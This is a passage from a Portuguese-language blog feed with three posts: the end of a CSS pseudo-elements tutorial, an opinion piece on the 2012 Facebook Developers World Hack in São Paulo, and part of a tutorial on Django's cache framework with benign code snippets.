  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;span&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;L&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;span&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;orem ipsum dolor sit amet, consectetur adipiscing elit.
  Pellentesque in scelerisque quam...
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;p&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;em&gt;CSS&lt;/em&gt; ficaria mais ou menos assim:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 14px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token selector&quot;&gt;p span&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 20px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-weight&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; bold&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;letter-spacing&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 3px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Veja exemplo no &lt;a href=&quot;http://jsfiddle.net/kplaube/MW5p9/&quot; title=&quot;Exemplo com elemento não-semântico&quot;&gt;&lt;em&gt;jsFiddle&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Podemos alcançar o mesmo resultado, sem necessitar do &lt;code class=&quot;language-text&quot;&gt;span&lt;/code&gt;, através
do pseudo-elemento &lt;code class=&quot;language-text&quot;&gt;first-letter&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 14px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token selector&quot;&gt;p::first-letter&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 20px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-weight&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; bold&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;letter-spacing&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 3px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Veja o exemplo no &lt;a href=&quot;http://jsfiddle.net/kplaube/MW5p9/1/&quot; title=&quot;Exemplo com pseudo-elemento&quot;&gt;&lt;em&gt;jsFiddle&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Outros pseudo-elementos interessantes são os clássicos &lt;code class=&quot;language-text&quot;&gt;after&lt;/code&gt; e
&lt;code class=&quot;language-text&quot;&gt;before&lt;/code&gt;, o &lt;code class=&quot;language-text&quot;&gt;first-line&lt;/code&gt; e o &lt;code class=&quot;language-text&quot;&gt;selection&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Os pseudo-elementos e pseudo-classes não são nenhum “bicho de sete
cabeças”, e podem economizar preciosas linhas de código (e tempo de
processamento do usuário).&lt;/p&gt;
&lt;p&gt;Quando bater aquela dúvida sobre qual utilizar, lembre-se: Quando o
resultado pode ser obtido através de uma classe, use pseudo-classes;
Quando o resultado pode ser obtido através de elementos não-semânticos,
use pseudo-elementos.&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/CSS/Pseudo-classes&quot; title=&quot;Página sobre pseudo-classes na MDN&quot;&gt;&lt;em&gt;Mozilla Developer Network: CSS – Pseudo-classes&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/CSS/Pseudo-elements&quot; title=&quot;Página sobre pseudo-elementos na MDN&quot;&gt;&lt;em&gt;Mozilla Developer Network: CSS – Pseudo-elements&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://tableless.com.br/pseudo-classes-css/&quot; title=&quot;Artigo no Tableless sobre pseudo-classes no CSS&quot;&gt;&lt;em&gt;Tableless&lt;/em&gt;: Seletor do &lt;em&gt;CSS&lt;/em&gt; – Pseudo-classes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Opinião: Facebook World Hack]]></title><description><![CDATA[No dia 30 de agosto de 2012 (sexta-feira), rolou o Facebook Developers World Hack – São Paulo,
onde engenheiros do próprio Facebook deram…]]></description><link>https://klauslaube.com.br/2012/09/02/opiniao-facebook-world-hack.html</link><guid isPermaLink="false">https://klauslaube.com.br/2012/09/02/opiniao-facebook-world-hack.html</guid><pubDate>Sun, 02 Sep 2012 12:37:10 GMT</pubDate><content:encoded>&lt;p&gt;No dia 30 de agosto de 2012 (sexta-feira), rolou o &lt;a href=&quot;http://www.facebook.com/groups/worldhacksp/&quot; title=&quot;Página do evento no Facebook&quot;&gt;&lt;em&gt;Facebook Developers World Hack – São Paulo&lt;/em&gt;&lt;/a&gt;,
onde engenheiros do próprio &lt;em&gt;Facebook&lt;/em&gt; deram palestras sobre o
desenvolvimento com a &lt;em&gt;API&lt;/em&gt; social, distribuição e monetização. Após as
palestras houve um &lt;em&gt;Hack Day&lt;/em&gt;, onde os vencedores nas categorias
“Mobile”, “Game”, “Open Graph” e “Geral” foram premiados com créditos no
&lt;em&gt;Facebook&lt;/em&gt; e na &lt;em&gt;Amazon&lt;/em&gt;, além de &lt;em&gt;smartphones&lt;/em&gt; e &lt;em&gt;tablets&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Um ambiente descontraído, com muita comida, bebida e música. Foi fácil
notar que estávamos cercados de pessoas extremamente criativas. Uma
experiência que vou levar comigo para o resto da vida.&lt;/p&gt;
&lt;h2&gt;Expectativas&lt;/h2&gt;
&lt;p&gt;A palavra &lt;em&gt;Hack&lt;/em&gt;, do jeito que é empregada hoje, me incomoda muito. Para
mim, ela significa algo extraordinário, realizado por pessoas
extraordinárias. Isso influenciou muito a minha expectativa, que era de
encontrar um evento extremamente técnico. Por alguns momentos antes de
ir, pensei se eu estaria à altura do evento, o que aumentou
demasiadamente a minha curiosidade e ansiedade.&lt;/p&gt;
&lt;p&gt;Seria o primeiro “Hack Day” que eu participaria, e isso me provocou um
“bloqueio criativo” tão grande, que cheguei no evento sem nenhuma ideia
do que desenvolver. Achei interessante a experiência de sentar com os
colegas e decidir o que iríamos fazer, mas deveria ter ido com algum
esboço pronto.&lt;/p&gt;
&lt;p&gt;Estava esperando um evento diferente… e foi o que eu encontrei.&lt;/p&gt;
&lt;h2&gt;Resultados&lt;/h2&gt;
&lt;p&gt;O local escolhido para o evento foi muito bom! Fomos submersos em um
ambiente muito agradável. No momento em que &lt;a href=&quot;http://www.facebook.com/jamesgpearce&quot; title=&quot;Perfil do James no Facebook&quot;&gt;&lt;em&gt;James Pearce&lt;/em&gt;&lt;/a&gt; sobe ao
palco, você já percebe a “vibe” do evento. O cara é um verdadeiro
“showman”, e soube “guiar” o “espetáculo” durante o dia inteiro com
muita irreverência e “jogo de cintura”.&lt;/p&gt;
&lt;p&gt;Uma surpresa muito boa foi a tradução simultânea. Todo o conteúdo
apresentado era em inglês, então, a organização do evento disponibilizou
fones de ouvido com traduções em tempo real para o português. Mesmo o
meu inglês sendo técnico, não houve dificuldade em entender o que os
palestrantes falavam.&lt;/p&gt;
&lt;p&gt;E logo nos primeiros &lt;em&gt;slides&lt;/em&gt;, &lt;em&gt;James&lt;/em&gt; dá um significado para a palavra
“Hack” utilizando o &lt;a href=&quot;http://www.wired.com/business/2012/02/zuck-letter/&quot; title=&quot;Mark Zuckerberg&amp;#x27;s Letter to Investors - The Hacker Way&quot;&gt;&lt;em&gt;The Hacker Way&lt;/em&gt;&lt;/a&gt;, bom artigo da &lt;a href=&quot;http://www.wired.com&quot; title=&quot;Get in-depth coverage of current and future trends in technology&quot;&gt;&lt;em&gt;Wired&lt;/em&gt;&lt;/a&gt;
contendo uma carta de &lt;em&gt;Mark Zuckerberg&lt;/em&gt; aos potenciais investidores.
Neste artigo, &lt;em&gt;Mark&lt;/em&gt; diz que &lt;em&gt;Hacker&lt;/em&gt; é mais do que “invasão”, é
acreditar que algo sempre pode ser melhor. Durante este dia, estávamos
tentando fazer a melhor &lt;em&gt;app&lt;/em&gt; que podíamos, utilizando a integração do
&lt;em&gt;Facebook&lt;/em&gt; da melhor forma que podíamos, e acima de tudo, aprendemos
muito com tudo isso. Dessa forma, não consigo imaginar uma palavra
melhor para traduzir todo esse esforço, que não seja “hackeando”.&lt;/p&gt;
&lt;p&gt;Mas o &lt;em&gt;Facebook Developers World Hack&lt;/em&gt; teve os seus pontos negativos. E
o primeiro de todos foi a &lt;em&gt;wifi&lt;/em&gt;. Em um evento onde você é instigado a
trabalhar com uma &lt;em&gt;API&lt;/em&gt; e servir seus projetos na nuvem, ter problemas
de conexão é extremamente frustrante. Nosso time sentou próximo à equipe
técnica responsável pelo local, e percebemos que eles estavam fazendo o
possível para manter tudo funcional.&lt;/p&gt;
&lt;p&gt;Outro ponto que deixou a desejar foi o conteúdo das palestras. Eu
sinceramente não possuo críticas aos palestrantes, pois meu conhecimento
sobre a &lt;em&gt;API&lt;/em&gt; do &lt;em&gt;Facebook&lt;/em&gt; era muito raso. Mas algumas pessoas mais
experientes expressaram reclamações em relação ao nível básico do
conteúdo apresentado. Estávamos muito empolgados com as palestras sobre
&lt;em&gt;games&lt;/em&gt; e monetização, mas analisando um pouco mais “friamente”, elas
foram consideravelmente frustrantes.&lt;/p&gt;
&lt;h2&gt;Veredicto&lt;/h2&gt;
&lt;p&gt;Eu gostei muito do evento. Aprendi muito e gostei dessa proximidade que
houve com os profissionais que trabalham no &lt;em&gt;Facebook&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Infelizmente, nosso time não conseguiu acabar o projeto em tempo, e não
participamos das premiações. Mas demos boas risadas durante todo o dia,
e descartamos a tensão da competição pelo desafio de tentar realizar
algo audacioso.&lt;/p&gt;
&lt;p&gt;Se você tiver a oportunidade de participar de um &lt;em&gt;World Hack&lt;/em&gt;, eu
aconselho que vá. Sem dúvida, alguma coisa de positiva dá para tirar,
seja do conteúdo, ou da experiência de conviver com pessoas diferentes
durante um dia inteiro.&lt;/p&gt;
&lt;p&gt;Resumindo: eu vi e gostei.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Django e Cache: Uma dupla de alta performance - Parte 2]]></title><description><![CDATA[Continuando o post Django e Cache: Uma dupla de alta performance, vamos
ver na prática como utilizar o framework de cache do Django. Embora…]]></description><link>https://klauslaube.com.br/2012/07/22/django-e-cache-uma-dupla-de-alta-performance-2.html</link><guid isPermaLink="false">https://klauslaube.com.br/2012/07/22/django-e-cache-uma-dupla-de-alta-performance-2.html</guid><pubDate>Sun, 22 Jul 2012 14:33:58 GMT</pubDate><content:encoded>&lt;p&gt;Continuando o &lt;em&gt;post&lt;/em&gt; &lt;a href=&quot;/2012/06/17/django-e-cache-uma-dupla-de-alta-performance-1.html&quot; title=&quot;Leia a parte 1 deste artigo&quot;&gt;&lt;em&gt;Django&lt;/em&gt; e &lt;em&gt;Cache&lt;/em&gt;: Uma dupla de alta performance&lt;/a&gt;, vamos
ver na prática como utilizar o &lt;em&gt;framework&lt;/em&gt; de &lt;a href=&quot;/tag/cache.html&quot; title=&quot;Leia mais sobre Cache&quot;&gt;&lt;em&gt;cache&lt;/em&gt;&lt;/a&gt; do &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Embora eu esteja utilizando o &lt;a href=&quot;/tag/memcached.html&quot; title=&quot;Leia mais sobre Memcached&quot;&gt;&lt;em&gt;Memcached&lt;/em&gt;&lt;/a&gt; para escrever estes
artigos, vale ressaltar que a abstração do &lt;em&gt;Django&lt;/em&gt; lhe permite utilizar
a &lt;a href=&quot;https://docs.djangoproject.com/en/dev/topics/cache/#using-a-custom-cache-backend&quot; title=&quot;Django Documentation - Custom backends&quot;&gt;ferramenta mais apropriada para você&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Diferentes maneiras de “cachear” a aplicação&lt;/h2&gt;
&lt;p&gt;Podemos utilizar a camada de &lt;em&gt;cache&lt;/em&gt; em diferentes pontos da aplicação.
Por exemplo, podemos utilizá-la antes de uma consulta ao banco de dados,
armazenar resultados de operações complexas, armazenar o &lt;em&gt;parsing&lt;/em&gt; de um
&lt;em&gt;template&lt;/em&gt;, etc. Com o esquema de &lt;em&gt;middlewares&lt;/em&gt; do &lt;em&gt;Django&lt;/em&gt;, podemos ter
essa camada aplicada diretamente ao fluxo de interpretação do
&lt;em&gt;framework&lt;/em&gt;, o que pode reduzir consideravelmente o uso de recursos de
nossa hospedagem, sem mesmo termos alterado código das nossas &lt;em&gt;apps&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Vamos ver a diferença, e casos de usos, dessas formas de utilização do
&lt;em&gt;cache&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Granular&lt;/h3&gt;
&lt;p&gt;Quando você quer ser “incisivo”, utilizar a &lt;em&gt;API&lt;/em&gt; de forma “granular” é
uma ótima opção.&lt;/p&gt;
&lt;p&gt;Por exemplo, no &lt;a href=&quot;http://globoesporte.globo.com&quot; title=&quot;A melhor cobertura sobre o Futebol e Outros Esportes, no Brasil e no Mundo&quot;&gt;&lt;em&gt;Globoesporte.com&lt;/em&gt;&lt;/a&gt; nós fazemos algumas consultas a
um &lt;a href=&quot;http://virtuoso.openlinksw.com/&quot; title=&quot;Conheça o Virtuoso&quot;&gt;banco de dados semântico&lt;/a&gt; para trazer informações de eventos,
jogos e atletas. Como esta consulta é consideravelmente demorada,
utilizamos a &lt;em&gt;API&lt;/em&gt; de &lt;em&gt;cache&lt;/em&gt; para melhorar os tempos de resposta.
Exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;core&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cache &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; cache
&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;jogos_por_edicao&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;edicao_slug&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    jogos &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cache&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;jogos_%s&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; edicao_slug&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; jogos&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        jogos &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; pega_jogos_da_semantica&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;edicao_slug&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        cache&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;jogos_%s&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; edicao_slug&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; jogos&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Passamos ao &lt;code class=&quot;language-text&quot;&gt;cache.set&lt;/code&gt; uma chave (que deve ser menor que 250
caracteres, e não utilizar caracteres especiais) e um valor. Ele também
aceita um terceiro parâmetro, que é o tempo de vida desta informação em
&lt;em&gt;cache&lt;/em&gt;. Quando omitido, o tempo definido nas configurações do &lt;em&gt;backend&lt;/em&gt;
é utilizado.&lt;/p&gt;
&lt;p&gt;Para remover esta informação do &lt;em&gt;cache&lt;/em&gt;, basta utilizarmos o método
&lt;code class=&quot;language-text&quot;&gt;cache.delete&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;cache&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;delete&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;jogos_%s&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; edicao_slug&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Você tem a liberdade de fazer &lt;em&gt;caching&lt;/em&gt; de qualquer região da sua
aplicação. Mas é bom tomarmos cuidado para que o gerenciamento desses
pontos não passem a ser um problema. O &lt;em&gt;framework&lt;/em&gt; de &lt;em&gt;cache&lt;/em&gt; pode ser
aplicado em outras camadas da abstração, dispensando (em muitos casos) a
necessidade desse tipo de controle em modelos e &lt;em&gt;views&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Template&lt;/h3&gt;
&lt;p&gt;Assim como é possível fazer &lt;em&gt;caching&lt;/em&gt; de forma minuciosa com a &lt;em&gt;API&lt;/em&gt;
acima, é possível fazer um controle muito interessante de &lt;em&gt;cache&lt;/em&gt; com os
&lt;em&gt;templates&lt;/em&gt; do &lt;em&gt;Django&lt;/em&gt;.&lt;/p&gt;
&lt;h4&gt;Prevenindo acesso a disco&lt;/h4&gt;
&lt;p&gt;A cada nova requisição, o &lt;em&gt;Django&lt;/em&gt; carrega o arquivo de &lt;em&gt;template&lt;/em&gt; do
disco, interpreta-o com o contexto, e retorna o seu resultado. Podemos
melhorar um pouquinho este fluxo, sem necessitar do &lt;em&gt;Memcached&lt;/em&gt;, basta
adicionarmos o &lt;code class=&quot;language-text&quot;&gt;django.template.loaders.cached.Loader&lt;/code&gt; ao
&lt;code class=&quot;language-text&quot;&gt;TEMPLATE_LOADERS&lt;/code&gt; do &lt;code class=&quot;language-text&quot;&gt;settings.py&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;TEMPLATE_LOADERS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;django.template.loaders.cached.Loader&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;django.template.loaders.filesystem.Loader&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;django.template.loaders.app_directories.Loader&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Esse &lt;em&gt;loader&lt;/em&gt; manterá o arquivo de &lt;em&gt;template&lt;/em&gt; em memória, evitando com
que o &lt;em&gt;Django&lt;/em&gt; tenha que recorrer ao disco para obter o seu conteúdo. O
“trade-off” é mais utilização da memória do seu servidor (que,
dependendo do cenário, nem é um problema tão grande assim) e a
necessidade de, quando houver atualizações em &lt;em&gt;templates&lt;/em&gt;, efetuar o
&lt;em&gt;restart&lt;/em&gt; do serviço de &lt;em&gt;WSGI&lt;/em&gt; que você utiliza.&lt;/p&gt;
&lt;p&gt;Outro ponto a se observar é que as &lt;em&gt;template tags&lt;/em&gt; que você utilizar
deverão ser &lt;a href=&quot;https://docs.djangoproject.com/en/dev/howto/custom-template-tags/#template-tag-thread-safety&quot; title=&quot;Leia mais na documentação do Django&quot;&gt;&lt;em&gt;thread-safe&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h4&gt;Prevenindo parsing desnecessário&lt;/h4&gt;
&lt;p&gt;O &lt;em&gt;framework&lt;/em&gt; de &lt;em&gt;cache&lt;/em&gt; permite “cachear” fragmentos de um &lt;em&gt;template&lt;/em&gt;.
Essa modalidade de &lt;em&gt;cache&lt;/em&gt; é bem interessante quando utilizamos filtros
ou &lt;em&gt;tags&lt;/em&gt; que executam operações que aumentam consideravelmente o tempo
de interpretação do &lt;em&gt;template&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Na &lt;a href=&quot;https://docs.djangoproject.com/en/1.4/topics/cache/#template-fragment-caching&quot; title=&quot;Template fragment caching&quot;&gt;documentação&lt;/a&gt; há um exemplo bem interessante, onde é feito o
&lt;em&gt;cache&lt;/em&gt; de um &lt;em&gt;sidebar&lt;/em&gt; inteiro:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;django-html&quot;&gt;&lt;pre class=&quot;language-django-html&quot;&gt;&lt;code class=&quot;language-django-html&quot;&gt;{% load cache %}

{% cache 500 sidebar %}
    &amp;lt;!-- conteúdo do sidebar --&amp;gt;
{% endcache %}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Passamos para a &lt;em&gt;template tag&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;cache&lt;/code&gt; o tempo de vida do conteúdo
(500 segundos), e o identificador deste conteúdo (&lt;code class=&quot;language-text&quot;&gt;sidebar&lt;/code&gt;). Se a
chave não existir, o &lt;em&gt;Django&lt;/em&gt; interpretará as instruções dentro do bloco
e armazenará o seu resultado no &lt;em&gt;Memcached&lt;/em&gt; para que, num próximo
acesso, esse resultado seja recuperado sem necessitar interpretar todo o
bloco novamente.&lt;/p&gt;
&lt;h3&gt;Views&lt;/h3&gt;
&lt;p&gt;Uma das maneiras mais práticas de utilizarmos o &lt;em&gt;cache&lt;/em&gt; em nossos
&lt;em&gt;websites&lt;/em&gt; e aplicações &lt;em&gt;Web&lt;/em&gt; escritos em &lt;em&gt;Django&lt;/em&gt;, é através do método
chamado &lt;a href=&quot;https://docs.djangoproject.com/en/1.4/topics/cache/#the-per-site-cache&quot; title=&quot;Leia mais sobre na documentação do Django&quot;&gt;&lt;em&gt;per-site cache&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Basicamente, o &lt;em&gt;Django&lt;/em&gt; analisará requisições realizadas através dos
métodos &lt;code class=&quot;language-text&quot;&gt;GET&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;HEAD&lt;/code&gt;, e utilizará a sua &lt;em&gt;URL&lt;/em&gt; como chave para a
verificação em &lt;em&gt;cache&lt;/em&gt;. Caso ele encontre a ocorrência, retornará ao
usuário o resultado “cacheado”, senão, interpretará a &lt;em&gt;view&lt;/em&gt; e ao final
armazenará o seu resultado.&lt;/p&gt;
&lt;p&gt;Para que isso seja possível, é necessário a utilização dos &lt;em&gt;middlewares&lt;/em&gt;
&lt;code class=&quot;language-text&quot;&gt;django.middleware.cache.UpdateCacheMiddleware&lt;/code&gt; e
&lt;code class=&quot;language-text&quot;&gt;django.middleware.cache.FetchFromCacheMiddleware&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;MIDDLEWARE_CLASSES &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;django.middleware.cache.UpdateCacheMiddleware&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;django.middleware.cache.FetchFromCacheMiddleware&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Além da configuração das seguintes constantes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;CACHE_MIDDLEWARE_ALIAS&lt;/code&gt; : O identificador da conexão (padrão
&lt;code class=&quot;language-text&quot;&gt;default&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;CACHE_MIDDLEWARE_SECONDS&lt;/code&gt; : O tempo de vida (em segundos) das
páginas em &lt;em&gt;cache&lt;/em&gt; (padrão &lt;code class=&quot;language-text&quot;&gt;600 segundos&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;CACHE_MIDDLEWARE_KEY_PREFIX&lt;/code&gt; : Chave para prevenir problemas
quando o &lt;em&gt;cache&lt;/em&gt; é um serviço compartilhado entre diferentes
instâncias &lt;em&gt;Django&lt;/em&gt;. Pode-se, por exemplo, colocar o nome do &lt;em&gt;site&lt;/em&gt;
como prefixo.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ao acessar as &lt;em&gt;views&lt;/em&gt;, temos uma agradável surpresa:&lt;/p&gt;
